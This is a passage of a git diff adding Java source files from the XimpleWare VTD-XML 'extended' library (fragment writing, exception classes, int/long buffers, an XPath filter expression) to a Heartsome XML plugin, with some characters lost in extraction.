write a = + //System.arraycopy(ws, 3, ba, os1, 1); + outPosition = Transcoder.transcodeAndFill2(outPosition, + ws,ba,3,1, vn.encoding, dest_encoding); + os1++; + tos = vn.getTokenOffset(fib.intAt(i) + 1) - 1; + tlen = (vn.getTokenLength(fib.intAt(i) + 1) & 0xffff) + 2; + //System.arraycopy(xml, tos, ba, os1, tlen); + outPosition = Transcoder.transcodeAndFill2(outPosition, + xml, ba, tos, tlen, vn.encoding, dest_encoding); + os1 += tlen; + } + } + //System.out.println(new String(ba)); + switch (enc) { + case VTDNav.FORMAT_UTF_16BE: + case VTDNav.FORMAT_UTF_16LE: + temp = (stLen + 1) << 1; + break; + default: + temp = stLen + 1; + } + //System.arraycopy(xml, os + temp, ba, os1, len - temp); + outPosition = Transcoder.transcodeAndFill2(outPosition, + xml, ba, os + temp, len - temp, vn.encoding, dest_encoding); + //System.out.println(new String(ba)); + return ba; + }*/ + + + /** + * getSize gets the byte length of ns compensated fragment in its source + * encoding format + * @return the byte length of ns compensated fragment in its source encoding format + * + */ + public final long getSize(){ + //int encoding = vn.encoding; + long len = l[1]; + if (stLen != 0) + for (int i = 0; i < fib.size(); i++) { + int k = fib.intAt(i); + if (vn.encoding < VTDNavHuge.FORMAT_UTF_16BE ){ + len += (vn.getTokenLength(k) & 0xffff) + + vn.getTokenLength(k + 1) + 4; + }else{ + len += ((vn.getTokenLength(k) & 0xffff) + + vn.getTokenLength(k + 1) + 4)<<1; + } + } + return len; + } + + + /** + * This method returns the size of the transcoded byte representation of + * the ns compensated element fragment + * @param dest_encoding + * @return + * @throws TranscodeException + * + */ + /*public final int getSize(int dest_encoding) throws TranscodeException{ + //int len = (int) (l >> 32); + + //if (stLen != 0) + // for (int i = 0; i < fib.size(); i++) { + // int k = fib.intAt(i); + // len += (vn.getTokenLength(k) & 0xffff) + // + vn.getTokenLength(k + 1) + 4; + // } + if (vn.encoding == dest_encoding) + return getSize(); + //int src_encoding= vn.encoding; + byte[] ba = vn.getXML().getBytes(); + int len = Transcoder.getOutLength(ba, (int)l, (int)(l>>32), vn.encoding, dest_encoding ); + + if (stLen != 0) + for (int i = 0; i < fib.size(); i++) { + int k = fib.intAt(i); + if (vn.encoding < VTDNav.FORMAT_UTF_16BE ){ + + len += Transcoder.getOutLength(ba, vn.getTokenOffset(k), + (vn.getTokenLength(k) & 0xffff), vn.encoding, + dest_encoding) + + Transcoder.getOutLength(ba, vn.getTokenOffset(k+1), + vn.getTokenLength(k + 1), vn.encoding, + dest_encoding) + ((dest_encoding"+fib.intAt(i)); + switch (enc) { + case VTDNavHuge.FORMAT_UTF_16BE: + //write a 0 and ws + //System.arraycopy(ws,0,ba,os1,2); + ost.write(ws,0,2); + //os1 += 2; + tos = vn.getTokenOffset(fib.intAt(i))<<1; + tlen= (vn.getTokenLength(fib.intAt(i)) & 0xffff)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + //ost.write(xml,tos,tlen); + xml.writeToFileOutputStream(ost, tos, tlen); + //os1 +=tlen; + // write a 0 and = + //System.arraycopy(ws,2,ba,os1,2); + ost.write(ws,2,2); + //os1 += 2; + tos = (vn.getTokenOffset(fib.intAt(i)+1)-1)<<1; + tlen= ((vn.getTokenLength(fib.intAt(i)+1) & 0xffff)+2)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + //ost.write(xml,tos,tlen); + xml.writeToFileOutputStream(ost, tos, tlen); + //os1 +=tlen; + break; + case VTDNavHuge.FORMAT_UTF_16LE: + // write a ws and 0 + //System.arraycopy(ws,1,ba,os1,2); + ost.write(ws,1,2); + //os1 += 2; + tos = vn.getTokenOffset(fib.intAt(i))<<1; + tlen= (vn.getTokenLength(fib.intAt(i)) & 0xffff)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + //ost.write(xml,tos,tlen); + xml.writeToFileOutputStream(ost, tos, tlen); + //os1 +=tlen; + // write a = and 0 + //System.arraycopy(ws,3,ba,os1,2); + ost.write(ws,3,2); + //os1 += 2; + tos = (vn.getTokenOffset(fib.intAt(i)+1)-1)<<1; + tlen= ((vn.getTokenLength(fib.intAt(i)+1) & 0xffff)+2)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + //ost.write(xml,tos,tlen); + xml.writeToFileOutputStream(ost, tos, tlen); + //os1 +=tlen; + break; + default: + // write a ws + //System.arraycopy(ws, 1, ba, os1, 1); + ost.write(ws,1,1); + //os1 ++; + tos = vn.getTokenOffset(fib.intAt(i)); + tlen = (vn.getTokenLength(fib.intAt(i)) & 0xffff); + //System.arraycopy(xml, tos, ba, os1, tlen); + //ost.write(xml,tos,tlen); + xml.writeToFileOutputStream(ost, tos, tlen); + //os1 +=tlen; + // write a = + //System.arraycopy(ws, 3, ba, os1, 1); + ost.write(ws,3,1); + //os1 ++; + tos = vn.getTokenOffset(fib.intAt(i) + 1) - 1 ; + tlen = (vn.getTokenLength(fib.intAt(i) + 1) & 0xffff) + 2; + //System.arraycopy(xml, tos, ba, os1, tlen); + //ost.write(xml,tos,tlen); + xml.writeToFileOutputStream(ost, tos, tlen); + //os1 +=tlen; + } + } + //System.out.println(new String(ba)); + switch(enc){ + case VTDNavHuge.FORMAT_UTF_16BE: + case VTDNavHuge.FORMAT_UTF_16LE: + temp= (stLen+1)<<1; break; + default: + temp = stLen+1; + } + //System.arraycopy(xml, os + temp, ba, os1, len - temp); + //ost.write(xml,os+temp,len-temp); + xml.writeToFileOutputStream(ost,os+temp,len-temp); + } + + /** + * Write the transcode byte representation of an ns-compensated + * element fragment to the output stream + * @param ost + * @param dest_encoding + * @throws IOException + * @throws TranscodeException + * + */ + /* public final void writeToOutputStream(OutputStream ost,int dest_encoding) + throws IOException, TranscodeException{ + if (vn.encoding == dest_encoding){ + writeToOutputStream(ost); + return; + } + int os = (int)l; + int len = (int)(l>>32); + //int os1 = 0; + byte[] xml = vn.getXML().getBytes(); + if (stLen==0){ + //System.arraycopy(xml,os,ba,0,len); + //ost.write(xml,os,len); + Transcoder.transcodeAndWrite(xml,ost, os,len, vn.encoding, dest_encoding ); + return; + //return ba; + } + int enc = vn.getEncoding(); + int temp = 0; + + switch(enc){ + case VTDNav.FORMAT_UTF_16BE: + case VTDNav.FORMAT_UTF_16LE: temp= (stLen+1)<<1; break; + default: + temp = stLen+1; + } + //ost.write(xml,os,temp); + Transcoder.transcodeAndWrite(xml,ost, os, temp, enc,dest_encoding ); + //System.arraycopy(xml,os,ba,0,temp); + + //namespace compensation + //os1 += temp; + + int tos =0,tlen=0; + for (int i = 0; i < fib.size(); i++) { + //System.out.println("i ==>"+fib.intAt(i)); + switch (enc) { + case VTDNav.FORMAT_UTF_16BE: + //write a 0 and ws + //System.arraycopy(ws,0,ba,os1,2); + //ost.write(ws,0,2); + Transcoder.transcodeAndWrite(ws,ost,0,2, enc,dest_encoding ); + //os1 += 2; + tos = vn.getTokenOffset(fib.intAt(i))<<1; + tlen= (vn.getTokenLength(fib.intAt(i)) & 0xffff)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + //ost.write(xml,tos,tlen); + Transcoder.transcodeAndWrite(xml,ost,tos,tlen, enc,dest_encoding ); + //os1 +=tlen; + // write a 0 and = + //System.arraycopy(ws,2,ba,os1,2); + //ost.write(ws,2,2); + Transcoder.transcodeAndWrite(ws,ost,2,2, enc,dest_encoding ); + //os1 += 2; + tos = (vn.getTokenOffset(fib.intAt(i)+1)-1)<<1; + tlen= ((vn.getTokenLength(fib.intAt(i)+1) & 0xffff)+2)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + //ost.write(xml,tos,tlen); + Transcoder.transcodeAndWrite(xml,ost,tos,tlen, enc,dest_encoding ); + //os1 +=tlen; + break; + case VTDNav.FORMAT_UTF_16LE: + // write a ws and 0 + //System.arraycopy(ws,1,ba,os1,2); + //ost.write(ws,1,2); + Transcoder.transcodeAndWrite(ws,ost,1,2, enc,dest_encoding ); + //os1 += 2; + tos = vn.getTokenOffset(fib.intAt(i))<<1; + tlen= (vn.getTokenLength(fib.intAt(i)) & 0xffff)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + //ost.write(xml,tos,tlen); + Transcoder.transcodeAndWrite(xml,ost,tos,tlen, enc,dest_encoding ); + //os1 +=tlen; + // write a = and 0 + //System.arraycopy(ws,3,ba,os1,2); + //ost.write(ws,3,2); + Transcoder.transcodeAndWrite(ws,ost,3,2, enc,dest_encoding ); + //os1 += 2; + tos = (vn.getTokenOffset(fib.intAt(i)+1)-1)<<1; + tlen= ((vn.getTokenLength(fib.intAt(i)+1) & 0xffff)+2)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + //ost.write(xml,tos,tlen); + Transcoder.transcodeAndWrite(xml,ost,tos,tlen, enc,dest_encoding ); + //os1 +=tlen; + break; + default: + // write a ws + //System.arraycopy(ws, 1, ba, os1, 1); + //ost.write(ws,1,1); + Transcoder.transcodeAndWrite(ws,ost,1,1,enc, dest_encoding); + //os1 ++; + tos = vn.getTokenOffset(fib.intAt(i)); + tlen = (vn.getTokenLength(fib.intAt(i)) & 0xffff); + //System.arraycopy(xml, tos, ba, os1, tlen); + //ost.write(xml,tos,tlen); + Transcoder.transcodeAndWrite(xml,ost,tos,tlen, enc,dest_encoding ); + //os1 +=tlen; + // write a = + //System.arraycopy(ws, 3, ba, os1, 1); + //ost.write(ws,3,1); + Transcoder.transcodeAndWrite(ws,ost,3,1, enc,dest_encoding ); + //os1 ++; + tos = vn.getTokenOffset(fib.intAt(i) + 1) - 1 ; + tlen = (vn.getTokenLength(fib.intAt(i) + 1) & 0xffff) + 2; + //System.arraycopy(xml, tos, ba, os1, tlen); + //ost.write(xml,tos,tlen); + Transcoder.transcodeAndWrite(xml,ost,tos,tlen, enc,dest_encoding ); + //os1 +=tlen; + } + } + //System.out.println(new String(ba)); + switch(enc){ + case VTDNav.FORMAT_UTF_16BE: + case VTDNav.FORMAT_UTF_16LE: + temp= (stLen+1)<<1; break; + default: + temp = stLen+1; + } + //System.arraycopy(xml, os + temp, ba, os1, len - temp); + //ost.write(xml,os+temp,len-temp); + Transcoder.transcodeAndWrite(xml,ost,os+temp,len-temp, enc,dest_encoding ); + }*/ + /** + * Get the long encoding the len and offset of uncompensated element fragment + * @return + * + */ + public final long[] getOffsetLen(){ + return l; + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/EncodingExceptionHuge.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/EncodingExceptionHuge.java new file mode 100644 index 0000000..533d7b3 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/EncodingExceptionHuge.java @@ -0,0 +1,37 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; +/** + * Signals character encoding exception during parsing. + * It is adapted to support extended VTD (256 max file size) + */ +public class EncodingExceptionHuge extends ParseExceptionHuge { +/** + * EncodingException constructor comment. + */ +public EncodingExceptionHuge() { + super(); +} +/** + * EncodingException constructor comment. + * @param s java.lang.String + */ +public EncodingExceptionHuge(String s) { + super(s); +} +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/EntityExceptionHuge.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/EntityExceptionHuge.java new file mode 100644 index 0000000..e864dd2 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/EntityExceptionHuge.java @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; +/** + * Signals exception conditions for any invalid entity reference during parsing. + * It is adapted to support extended VTD (256 max file size) + * @author: + */ +public class EntityExceptionHuge extends ParseExceptionHuge { +/** + * EntityException constructor comment. + */ +public EntityExceptionHuge() { + super(); +} +/** + * EntityException constructor comment. + * @param s java.lang.String + */ +public EntityExceptionHuge(String s) { + super(s); +} +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/FastIntBuffer.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/FastIntBuffer.java new file mode 100644 index 0000000..26a85ec --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/FastIntBuffer.java @@ -0,0 +1,385 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; +import java.lang.IndexOutOfBoundsException; +import java.lang.NullPointerException; +import java.lang.IllegalArgumentException; +import java.util.ArrayList; + +/** + * A fast, unsynchronized, chunk-based int buffer + * identical with com.ximpleware.FastIntBuffer + * + */ + +public class FastIntBuffer implements IIntBuffer { + /* bufferArrayList is a resizable array list of int buffers + * + */ + private ArrayList bufferArrayList; + + /** + * Total capacity of the IntBuffer + */ + private int capacity; + + /** + * Page size of the incremental growth of the Int Buffer + */ + private int pageSize; + + /** + * Total number of integers in the IntBuffer + */ + private int size; + private int exp; + private int r; + /** + * FastIntBuffer constructor comment. + */ + public FastIntBuffer() { + size = 0; + capacity = 0; + pageSize = 1024; + exp = 10; + r = 1023; + bufferArrayList = new ArrayList(); + } + /** + * Constructor with adjustable buffer page size of the value bfz + * @param e int is the size of the internal buffer + */ + public FastIntBuffer(int e) { + if (e < 0) { + throw new IllegalArgumentException(); + } + capacity = size = 0; + pageSize = 1<>exp),//+(((size&r)==0)? 0:1), + bufferArrayList.size() - 1); + lastBuffer = (int[]) bufferArrayList.get(lastBufferIndex); + } + + if ((this.size + int_array.length) < this.capacity) { + //get the last buffer from the bufferListArray + //obtain the starting offset in that buffer to which the data is to be copied + //update length + + //System.arraycopy(input, 0, lastBuffer, size % pageSize, input.length); + if (this.size + int_array.length< ((lastBufferIndex+1)<> exp; + int z; + for (z=1;z<=k;z++){ + System.arraycopy(int_array,offset, + (int[]) bufferArrayList.get(lastBufferIndex+z), 0, pageSize); + offset += pageSize; + } + // copy the last part + System.arraycopy(int_array, offset, + (int[]) bufferArrayList.get(lastBufferIndex+z), 0, l & r); + } + size += int_array.length; + return; + } else // new buffers needed + { + + // compute the number of additional buffers needed +// int n = +// ((int) ((int_array.length + size) / pageSize)) +// + (((int_array.length + size) % pageSize) > 0 ? 1 : 0) +// - (int) (capacity / pageSize); + int n = + ((int_array.length + size) >> exp) + + (((int_array.length + size) &r) > 0 ? 1 : 0) + - (capacity >> exp); + // create these buffers + // add to bufferArrayList + + //System.arraycopy(int_array, 0, lastBuffer, size % pageSize, capacity - size); + System.arraycopy(int_array, 0, lastBuffer, size& r, capacity - size); + + for (int i = 0; i < n; i++) { + int[] newBuffer = new int[pageSize]; + if (i < n - 1) { + // full copy + System.arraycopy( + int_array, + pageSize * i + capacity - size, + newBuffer, + 0, + pageSize); + } else { + // last page + System.arraycopy( + int_array, + pageSize * i + capacity - size, + newBuffer, + 0, + int_array.length + this.size - capacity - pageSize*i); + } + bufferArrayList.add(newBuffer); + } + // update length + size += int_array.length; + // update capacity + capacity += n * pageSize; + // update + } +} +/** + * Append a single int to the end of this buffer Instance + * @param i int + */ +public void append(int i) { + + int[] lastBuffer; + int lastBufferIndex; + if (bufferArrayList.size() == 0) { + lastBuffer = new int[pageSize]; + bufferArrayList.add(lastBuffer); + capacity = pageSize; + } else { + lastBufferIndex = Math.min((size>>exp),//+(((size&r)==0)? 0:1), + bufferArrayList.size() - 1); + lastBuffer = (int[]) bufferArrayList.get(lastBufferIndex); + //lastBuffer = (int[]) bufferArrayList.get(bufferArrayList.size() - 1); + } + if ((this.size + 1) <= this.capacity) { + //get the last buffer from the bufferListArray + //obtain the starting offset in that buffer to which the data is to be copied + //update length + //System.arraycopy(long_array, 0, lastBuffer, size % pageSize, long_array.length); + lastBuffer[size & r] = i; +// lastBuffer[size % pageSize] = i; + size += 1; + } else // new buffers needed + { + int[] newBuffer = new int[pageSize]; + size++; + capacity += pageSize; + bufferArrayList.add(newBuffer); + newBuffer[0] = i; + } +} +/** + * Returns the total allocated capacity of this buffer instance. + * @return int + */ +public int getCapacity() { + return capacity; +} +/** + * Returns a single int array representing every int in this buffer instance + * @return int[] (null if there isn't anything left in the buffer + * @param startingOffset int + * @param len int + * @return int[] + */ +public int[] getIntArray(int startingOffset, int len) { + if (size <= 0 || startingOffset < 0) { + throw (new IllegalArgumentException()); + } + if ((startingOffset + len) > size()) { + throw (new IndexOutOfBoundsException()); + } + int[] result = new int[len]; // allocate result array + +// int first_index = (int) (startingOffset / pageSize); +// int last_index = (int) ((startingOffset + len) / pageSize); +// if ((startingOffset + len) % pageSize == 0) { +// last_index--; +// } + int first_index = startingOffset >> exp; + int last_index = (startingOffset + len)>> exp; + if (((startingOffset + len) & r) == 0) { + last_index--; + } + + if (first_index == last_index) { + // to see if there is a need to go across buffer boundry + System.arraycopy( + (int[]) (bufferArrayList.get(first_index)), +// startingOffset % pageSize, + startingOffset & r, + result, + 0, + len); + } else { + int int_array_offset = 0; + for (int i = first_index; i <= last_index; i++) { + int[] currentChunk = (int[]) bufferArrayList.get(i); + if (i == first_index) // first section + { + System.arraycopy( + currentChunk, +// startingOffset % pageSize, + startingOffset & r, + result, + 0, +// pageSize - (startingOffset % pageSize)); + pageSize - (startingOffset & r)); +// int_array_offset += pageSize - (startingOffset) % pageSize; + int_array_offset += pageSize - (startingOffset & r); + } else if (i == last_index) // last sections + { + System.arraycopy( + currentChunk, + 0, + result, + int_array_offset, + len - int_array_offset); + + } else { + System.arraycopy(currentChunk, 0, result, int_array_offset, pageSize); + int_array_offset += pageSize; + } + } + } + return result; +} +/** + * Returns the page size of this buffer instance. + * Creation date: (7/17/03 6:38:02 PM) + * @return int + */ +public int getPageSize() { + return pageSize; +} +/** + * Get the int at the location specified by index. + * @return int + * @param index int + */ +public int intAt(int index) { + if (index < 0 || index > size()-1) { + throw new IndexOutOfBoundsException(); + } +// int pageNum = (int) index / pageSize; + int pageNum = index>>exp; + //System.out.println("page Number is "+pageNum); +// int offset = index % pageSize; + int offset = index & r; + return ((int[]) bufferArrayList.get(pageNum))[offset]; +} +/** + * Assigns a new int value to location index of the buffer instance. + * @param index int + * @param newValue int + */ +public void modifyEntry(int index, int newValue) { + + if (index < 0 || index > size - 1) { + throw new IndexOutOfBoundsException(); + } + +// ((int[]) bufferArrayList.get((int) (index / pageSize)))[index % pageSize] = + ((int[]) bufferArrayList.get((index >> exp)))[index & r] = + newValue; + + } +/** + * Returns the total number of int values in the buffer instance + * @return int + */ +public int size() { + return size; +} + +/** + * + * @param newSz + * @return status of resize + * + */ +public boolean resize(int newSz){ + if (newSz <= capacity && newSz >=0){ + size = newSz; + return true; + } + else + return false; +} +/** + * Returns the int array corresponding to all int values in this buffer instance + * @return int[] (null if the buffer is empty) + */ +public int[] toIntArray() { + if (size > 0) { + int s = size; + int[] resultArray = new int[size]; + //copy all the content int into the resultArray + int array_offset = 0; + for (int i = 0; s>0; i++) { + System.arraycopy( + (int[]) bufferArrayList.get(i), + 0, + resultArray, + array_offset, + (s>exp),//+(((size&r)==0)? 0:1), + bufferArrayList.size() - 1); + lastBuffer = (long[]) bufferArrayList.get(lastBufferIndex); + } + + if ((this.size + long_array.length) < this.capacity) { + //get the last buffer from the bufferListArray + //obtain the starting offset in that buffer to which the data is to be copied + //update length + if (this.size + long_array.length< ((lastBufferIndex+1)<> exp; + int z; + for (z=1;z<=k;z++){ + System.arraycopy(long_array,offset,(long[]) bufferArrayList.get(lastBufferIndex+z), 0, pageSize); + offset += pageSize; + } + // copy the last part + System.arraycopy(long_array,offset,(long[]) bufferArrayList.get(lastBufferIndex+z), 0, l & r); + } + size += long_array.length; + return; + } else // new buffers needed + { + + // compute the number of additional buffers needed +// int n = +// ((int) ((long_array.length + size) / pageSize)) +// + (((long_array.length + size) % pageSize) > 0 ? 1 : 0) +// - (int) (capacity / pageSize); + int n = + ((long_array.length + size) >> exp) + + (((long_array.length + size)&r) > 0 ? 1 : 0) + - (capacity >> exp); + // create these buffers + // add to bufferArrayList + //System.arraycopy(long_array, 0, lastBuffer, size % pageSize, capacity - size); + System.arraycopy(long_array, 0, lastBuffer, size & r, capacity - size); + + for (int i = 0; i < n; i++) { + long[] newBuffer = new long[pageSize]; + if (i < n - 1) { + // full copy + System.arraycopy( + long_array, + pageSize * i + capacity - size, + newBuffer, + 0, + pageSize); + } else { + // last page + System.arraycopy( + long_array, + pageSize * i + capacity - size, + newBuffer, + 0, + long_array.length+ size - pageSize*i - capacity); + } + bufferArrayList.add(newBuffer); + } + // update length + size += long_array.length; + // update capacity + capacity += n * pageSize; + // update + } +} +/** + * Append an integer to the end of this array buffer + * @param i long + */ +public void append(long i) { + long[] lastBuffer; + int lastBufferIndex; + if (bufferArrayList.size() == 0) { + lastBuffer = new long[pageSize]; + bufferArrayList.add(lastBuffer); + capacity = pageSize; + } else { + lastBufferIndex = Math.min((size>>exp),//+(((size&r)==0)? 0:1), + bufferArrayList.size() - 1); + lastBuffer = (long[]) bufferArrayList.get(lastBufferIndex); + //lastBuffer = (long[]) bufferArrayList.get(bufferArrayList.size() - 1); + } + if (this.size < this.capacity) { + //get the last buffer from the bufferListArray + //obtain the starting offset in that buffer to which the data is to be copied + //update length + //System.arraycopy(long_array, 0, lastBuffer, size % pageSize, long_array.length); + //lastBuffer[size % pageSize] = i; + lastBuffer[size & r] = i; + size += 1; + } else // new buffers needed + { + long[] newBuffer = new long[pageSize]; + size++; + capacity += pageSize; + bufferArrayList.add(newBuffer); + newBuffer[0] = i; + } +} +/** + * Get the capacity of the buffer. + * @return int + */ +public int getCapacity() { + return capacity; +} +/** + * Return a selected chuck of long buffer as a long array. + * @return long[] + * @param startingOffset int + * @param len int + */ +public long[] getLongArray(int startingOffset, int len) { + if (size <= 0 || startingOffset < 0) { + throw (new IllegalArgumentException()); + } + if ((startingOffset + len) > size()) { + throw (new IndexOutOfBoundsException()); + } + + long[] result = new long[len]; // allocate result array + + int first_index = (startingOffset >> exp); + int last_index = ((startingOffset + len) >>exp); + + //if ((startingOffset + len) % pageSize == 0) { + if (((startingOffset + len) & r) == 0) { + last_index--; + } + + if (first_index == last_index) { + // to see if there is a need to go across buffer boundry + System.arraycopy( + (long[]) (bufferArrayList.get(first_index)), +// startingOffset % pageSize, + startingOffset & r, + result, + 0, + len); + } else { + int long_array_offset = 0; + for (int i = first_index; i <= last_index; i++) { + long[] currentChunk = (long[]) bufferArrayList.get(i); + if (i == first_index) // first section + { + System.arraycopy( + currentChunk, +// startingOffset % pageSize, + startingOffset & r, + result, + 0, +// pageSize - (startingOffset % r)); + pageSize - (startingOffset & r)); + long_array_offset += pageSize - (startingOffset & r); + } else if (i == last_index) // last sections + { + System.arraycopy( + currentChunk, + 0, + result, + long_array_offset, + len - long_array_offset); + + } else { + System.arraycopy(currentChunk, 0, result, long_array_offset, pageSize); + long_array_offset += pageSize; + } + } + } + + return result; +} +/** + * Get the buffer page size. + * @return int + */ +public int getPageSize() { + return pageSize; +} +/** + * Get the long val at given index value. + * @return long + * @param index int + */ +public long longAt(int index) { + if (index < 0 || index > size()) { + throw new IndexOutOfBoundsException(); + } + int pageNum = (index >> exp); + // int offset = index % r; + int offset = index &r; + return ((long[]) bufferArrayList.get(pageNum))[offset]; +} +/** + * Get the lower 32 bit of the integer at the given index. + * @return int + * @param index int + */ + public int lower32At(int index) { + if (index < 0 || index > size()) { + throw new IndexOutOfBoundsException(); + } + int pageNum = (index >> exp); + // int offset = index % pageSize; + int offset = index & r; + return (int) ((long[]) bufferArrayList.get(pageNum))[offset]; +} +/** + * Modify the value at the index to a new val. + * @param index int + * @param newValue long + */ +public void modifyEntry(int index, long newValue) { + + if (index < 0 || index > size + 1) { + throw new IndexOutOfBoundsException(); + } + //((long[]) bufferArrayList.get((int) (index / pageSize)))[index % pageSize] = + ((long[]) bufferArrayList.get(index >> exp))[index & r] = + newValue; +} +/** + * Get the total number of longs in the buffer. + * @return int + */ +public int size() { + return size; +} +/** + * Convert all longs into a long array. + * @return long[] + */ +public long[] toLongArray() { + if (size > 0) { + int s = size; + long[] resultArray = new long[size]; + //copy all the content int into the resultArray + int array_offset = 0; + for (int i = 0; s>0; i++) { + System.arraycopy( + (long[]) bufferArrayList.get(i), + 0, + resultArray, + array_offset, + (s>exp)<= size()) { + throw new IndexOutOfBoundsException(); + } + int pageNum = (index >>exp); + int offset = index & r; + return (int) + ((((long[]) bufferArrayList.get(pageNum))[offset] & (0xffffffffL << 32)) >> 32); + +} + + + /** + * set teh size of long buffer to zero, capacity + * untouched so long buffer can be reused without + * any unnecessary and additional allocation + * + */ + public void clear(){ + size = 0; + } +} + diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/FilterExpr.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/FilterExpr.java new file mode 100644 index 0000000..797ffc3 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/FilterExpr.java @@ -0,0 +1,222 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; + +import com.ximpleware.extended.xpath.Expr; +import com.ximpleware.extended.xpath.Predicate; + +/** + * + * TODO To change the template for this generated type comment go to + * Window - Preferences - Java - Code Style - Code Templates + */ +public class FilterExpr extends Expr { + + + public Expr e; + public Predicate p; + //FastIntBuffer fib; + //int stackSize; + boolean first_time; + //public int position; + + public FilterExpr(Expr l, Predicate pr){ + e = l; + p = pr; + //stackSize = 0; + //position = 1; + //fib = new FastIntBuffer(8); + first_time = true; + } + /*public int getPositon(){ + return fib.size(); + }*/ + public boolean evalBoolean(VTDNavHuge vn) { + //if (e.isBoolean()) + // return e.evalBoolean(vn); + boolean a = false; + vn.push2(); + //record stack size + int size = vn.contextStack2.size; + try{ + a = (evalNodeSet(vn) != -1); + }catch (Exception e){ + } + //rewind stack + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + return a; + } + + + public double evalNumber(VTDNavHuge vn) { + // if (e.isNumerical()) + // return e.evalNumber(vn); + // double d; + int a = -1; + vn.push2(); + int size = vn.contextStack2.size; + try { + a =evalNodeSet(vn); + if (a!=-1){ + if (vn.getTokenType(a)== VTDNavHuge.TOKEN_ATTR_NAME){ + a ++; + }else if (vn.getTokenType(a)== VTDNavHuge.TOKEN_STARTING_TAG) { + a = vn.getText(); + } + } + } catch (Exception e){ + + } + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + try{ + if (a!=-1) return vn.parseDouble(a); + }catch (NavExceptionHuge e){ + } + return Double.NaN; + } + + public int evalNodeSet(VTDNavHuge vn) + throws XPathEvalExceptionHuge, NavExceptionHuge { + // if tne predicate require context size + // needs to precompute the context size + // vn.push2(); + // computerContext(); + // set contxt(); + // vn.pop2() + // if the context size is zero + // get immediately set teh state to end + // or backward + if (first_time && p.requireContextSize()){ + first_time = false; + int i = 0; + //vn.push2(); + e.adjust(vn.getTokenCount()); + while(e.evalNodeSet(vn)!=-1) + i++; + //vn.pop2(); + p.setContextSize(i); + reset2(vn); + } + int a = e.evalNodeSet(vn); + while (a!=-1){ + if (p.eval(vn)==true){ + //p.reset(); + return a; + }else { + //p.reset(); + a = e.evalNodeSet(vn); + } + } + return -1; + } + + public String evalString(VTDNavHuge vn) { + //if (e.isString()) + // return e.evalString(vn); + vn.push2(); + int size = vn.contextStack2.size; + int a = -1; + try { + a = evalNodeSet(vn); + if (a != -1) { + if (vn.getTokenType(a) == VTDNavHuge.TOKEN_ATTR_NAME) { + a++; + } + if (vn.getTokenType(a) == VTDNavHuge.TOKEN_STARTING_TAG) { + a = vn.getText(); + } + } + } catch (Exception e) { + } + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + try { + if (a != -1) + return vn.toString(a); + } catch (NavExceptionHuge e) { + } + return ""; + } + + public void reset(VTDNavHuge vn) { + reset2(vn); + //vn.contextStack2.size = 